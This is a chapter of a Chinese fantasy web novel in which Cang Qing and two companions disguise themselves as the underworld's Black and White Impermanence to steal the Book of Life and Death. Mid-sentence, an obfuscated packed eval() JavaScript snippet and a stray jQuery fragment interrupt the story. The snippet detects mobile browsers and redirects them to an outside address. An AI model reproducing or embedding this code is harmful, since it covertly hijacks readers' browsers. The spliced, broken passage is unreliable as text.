“你是说我俩扮成黑白无常?!”
某处昏暗的小巷角落里传出姜晚义不可置信的声音。
“嘘!”苍清示意他安静,“你是要将鬼差都招来吗?”
姜晚义压低声音,咬咬切齿,“苍娘子,你在异想天开吗?你当那些鬼差是傻子,不认识自己的上司?”
他以手抚额,“我就不该信你。”
苍清并不在意他的嘲讽,“那我问你,你住在汴京,你能认得出官家吗?”
“当然。”姜晚义额了一声,“当然认不出。”
“京中那些个亲王、公主郡主的,你各个都见过?”
姜晚义摇头,“那还真没有。”
常年离京的九皇子就没见过,更别说那些个公主、郡主的。
“那不就成了?你当无名小卒都见过无常大人?”苍清摊摊手,“我们只需要一个形能骗过大部分鬼差就行了,你的目的是什么?”
姜晚义:“避过满大街的鬼差?”
“那打工人见了上司哪个不是避着?谁愿意上去碰面?”
“好有道理。”
“我们接下来只需要避开牛头马面两位将军,再者没有鬼差报信,两位将军也就难以追踪到你的行踪。”
在苍清的花言巧语之下,姜晚义被说动。
取出黄纸,快速剪出两套无常的衣服,手一抖,纸衣成了绢衣。
姜晚义将白色的那套扔给她,“黑白无常差不多高,你比我矮大半个头。”
“你不会给我再剪双鞋吗?见小娘子光脚走一路,一点同理心都没有。”苍清打量他的身高,拿手比了比,“要三寸高的鞋底。”
“谁在角落里?!”
还来不及剪鞋,手持钢叉的牛头出现在巷口,打断了苍清二人的策划。
“跑!”
苍清拉起小桃,抓住姜晚义的手腕,朝着反向逃去。
说是她拉着姜晚义,事实上是姜晚义带着她,她和小桃好比是相连的旗帜,一大一小飘在空中。
苍清实在好奇问道:“为何你不会飘在空中?”
“脚腕上系的红绳捆住了魂,这才不会忘记回家路,也不会叫无常索走魂。”
姜晚义随口抱怨:“若非被这相连的红绳绊住,小爷能被那些鬼差追上?”
原来是这个原因,难怪苍清会被黑白无常索魂带来冥府。
“你顺走的鬼魂到底是什么厉害人物?能叫他们穷追不舍?”
“京中某位大人物,苍娘子不该问的别问。”
苍清识相地闭了嘴。
要说姜晚义这人,脸上时常带着笑,一副很好相与的模样,问他什么也都会答你,但说话做事总叫人觉得冷淡无情。
周身气质让苍清想到了“善面阎罗”这个词。
转过几个弯,迎面撞上个人,姜晚义的脚步急急刹住,“哪个不长眼的?赶紧让开!”
飘着的苍清落回地面,见到挡路的人,瞬间喜上眉梢,“小师兄!?”
李玄度瞧见她的一瞬,眼里亦是喜色,但视线从她的穿着再转到她拉着姜晚义袖子的手,脸色微变,他脱下自己的青衫披在苍清身上,“这么快就寻到良人了?是我来得不巧了?”
什么良人不良人?是亲人啊亲人!
她再也不用仰人鼻息、求人办事!
苍清自动忽略他的阴阳怪气。
兴奋之情难以抑制,趁李玄度披衣凑近之际,一下将他抱住,“你怎么也来了?!”
她都还没托梦呢!
李玄度怔住,双手垂在身侧,无所适从。
不是第一次被她抱住了,但这回他完全没想去掰开她的手,甚至连心里都飘飘然的,说话的语气也不如前头冷硬。
“你生魂出窍,我来寻你。”
他当时觉察出屋中有异,追出屋时见苍清房中的窗户关得严丝合缝,担心她被炭火熏晕过去,便走至窗前替她开窗。
但窗竟从屋里插上了闩,敲门又无动静,一时心急踹开了她的房门,先前二人也常在一屋里休憩,李玄度已习以为常,竟不觉夜闯娘子的屋子有何不妥。
果然近墨者黑。
正是这般发现了苍清在发烧,且生魂离体。
也很快意识到,进他屋里的鬼怪不是旁人,是她。
她定是彷徨无措,第一时间来找他求助,他却将她吓跑了。
李玄度犹豫着回抱住苍清,手虚放在她的后背,不敢碰实了,低声安抚,“师兄来带你回去。”
一旁的姜晚义看了眼李玄度双脚间相连的红绳,挑挑眉问苍清:“你相好?同行啊。”
“别胡说,只是我师兄。”
苍清暼他一眼,小嘴一噘,兀自开始告状,“小师兄,他欺负我!他要砍我手!”
姜晚义:???
卸磨杀驴?
李玄度瞟了眼姜晚义,冷飕飕说道:“那师妹要如何?也砍他一只手?”
“嗬哟。”姜晚义冷笑一声,“这是要替娘子出头?也该掂量掂量自己有没有这个本事。”
“你说呢?”李玄度剑指轻轻一挥,月魄剑瞬间出鞘抵在姜晚义的喉间。
姜晚义拔刀的手稍慢了一步,只点在半途,他轻啧了一声,“有点能耐啊。”
身后不远处能听见牛头马面两位将军的说话声。
大街小巷里也皆是寻人的鬼差。
姜晚义思虑片刻,用指尖拨开剑锋,扬唇笑道:“二位是生魂来去自如,但这小丫头是死鬼,想让她还生,必要走一趟冥府,盗来生死簿勾掉名字,我们目的相同可以合作。”
“哟,换姜爷求人了?”
苍清向来最会狐假虎威,她松开李玄度跟着笑道:“也行,但如何行事得听我安排。”
她这般说也是有自己的思量,姜晚义如此审时度势,又是走阴师,一看就常年与冥府打交道。
不比她和小师兄,对冥府之事知之甚少。
合作不亏。
“没问题。”姜晚义爽快应声,“苍娘子有何高见?”
“师兄收剑。”苍清拉了拉李玄度的袖子,后者冷哼一声,月魄剑归鞘。
“要去判官殿偷生死簿,必得先脱困……”苍清的视线在姜晚义和李玄度身上来回打了几个转,“你俩似乎差不多高?那就由你俩扮作黑白无常,你白,他黑。”
“小爷扮白无常?”姜晚义不满地嘟囔,“小爷从不穿白衣。”
“少啰嗦。”苍清将手中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229464|162944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的白衣递给姜晚义,硬从他手中抢走了黑衣给李玄度,“白无常爱笑,黑无常高冷,正符合你俩的表象,而且小师兄稍高些,很符合。”
李玄度听话地将黑衣穿上,笑问:“那你是我索的魂?”
“我扮鬼差,替你俩传话,记住!少说话,多应嗯,再把脸挡一挡。”
“还有黑无常不爱笑,小师兄不许笑。”
李玄度:“……好的。”
于是姜晚义又剪了件鬼差服出来,苍清麻溜地换上。
三人光明正大行在街上,遇见的鬼差不是避而远之,就是垂着头同他们问好,“二位使者回去啦?”
话多如姜晚义还演上了,挥手示意:“嗯,各位辛苦了,早些下职。”
笑得那叫一个如沐春风,演得入木三分。
李玄度一如既往的冷淡,无事不开口。
这二人的选角还真是没错。
苍清跟在身后,演得也极为开心,若有哪个没眼力的鬼差敢抬眸,她会瞪回去,“瞅什么?!使者们的真容也敢瞧?”
姜晚义会笑眯眯问一句,“今日业绩如何?”
李玄度紧接着跟一声冷笑。
鬼差们立刻汗流浃背,溜之大吉。
去冥府的路简单了许多,愣是没有一个鬼差发现这二位是假无常。
运气也极好,没有正面碰上牛头马面和其他冥吏。
等三大一小站在冥府阴律司的殿门前,瞧着威严庄重的正殿。
才面临真正的难题。
但苍清不信姜晚义真的会毫无准备。
“姜爷若是一人,要如何盗得这生死簿和勾魂笔?”
姜晚义回道:“听闻阴律司的崔府君每日寅时,都会遣鬼差去忘川洗他的勾魂笔,这是唯一的机会,而生死簿就在阴律司侧殿中,不过……”
不过什么?
看着空无一人但满满当当塞满册录的大殿,苍清陷入沉思,“这么多,怎么找?”
没有人说过生死簿有那么多啊,伶人们演的杂剧里,催府君永远左手生死簿,右手勾魂笔,一勾一划定人生。
她以为生死簿只有一本呢。
李玄度提议,“按照年份来寻?”
三人立即分开行动。
今日约莫是吉星高照,在殿中来回寻了几遍,其间无人打扰,赶在冥间的寅时前寻到了两本册录。
苍清拿的是元贞三年的,翻到小桃的名字后,她还偷偷瞟了眼姜晚义,他手中的是六十几年前的一本册录。
不等她看仔细,姜晚义已经合上册录塞进怀中,催促道:“赶紧去忘川,别一会撞见鬼差,麻烦。”
李玄度跟着往殿外走,随口回道:“慌什么,就是来百鬼,也不是本道长的对手。”
这二人前脚刚踏出殿门,又急急退回来,齐齐背转身,以袖捂脸。
动作之整齐,宛若双生。
姜晚义暗骂:“老子真服了你这乌鸦嘴!”
苍清跟在他们身后,被挡住了视线,但不用探头都知是撞见鬼了。
事实上情况比这更糟糕,殿外说话之人是催府君。
“二位无常在本府君殿中作甚?”
不敢动,不敢回话,怕露馅。